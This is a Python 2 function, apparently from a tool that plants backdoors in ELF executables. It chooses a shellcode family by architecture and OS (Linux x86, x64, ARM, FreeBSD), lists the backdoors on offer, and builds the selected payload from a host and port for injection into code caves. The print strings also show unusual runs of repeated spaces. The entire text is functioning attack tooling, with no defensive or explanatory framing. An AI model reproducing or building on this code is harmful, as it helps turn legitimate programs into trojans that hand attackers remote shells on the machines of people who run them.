'This function sets the shellcode.'

def set_shells(self):

    avail_shells = []
    self.bintype = False
    if (self.e_machine == 3):
        if (self.EI_CLASS == 1):
            if (self.EI_OSABI == 0):
                self.bintype = linux_elfI32_shellcode
            elif ((self.EI_OSABI == 9) or (self.EI_OSABI == 12)):
                self.bintype = freebsd_elfI32_shellcode
    elif (self.e_machine == 62):
        if (self.EI_CLASS == 2):
            if (self.EI_OSABI == 0):
                self.bintype = linux_elfI64_shellcode
    elif (self.e_machine == 40):
        if (self.EI_CLASS == 1):
            if (self.EI_OSABI == 0):
                self.bintype = linux_elfarmle32_shellcode
    if (self.bintype is False):
        print '[!]    Unusual    binary    type'
        return False
    if (not self.SHELL):
        print 'You    must    choose    a    backdoor    to    add:    '
        for item in dir(self.bintype):
            if ('__' in item):
                continue
            elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)):
                continue
            else:
                print '            {0}'.format(item)
        return False
    if (self.SHELL not in dir(self.bintype)):
        print ('The    following    %ss    are    available:' % str(self.bintype).split('.')[1])
        for item in dir(self.bintype):
            if ('__' in item):
                continue
            elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)):
                continue
            else:
                print '            {0}'.format(item)
                avail_shells.append(item)
        self.avail_shells = avail_shells
        return False
    if (self.e_machine == 40):
        self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE, self.shellcode_vaddr)
    else:
        self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE)
    self.allshells = getattr(self.shells, self.SHELL)(self.e_entry)
    self.shellcode = self.shells.returnshellcode()
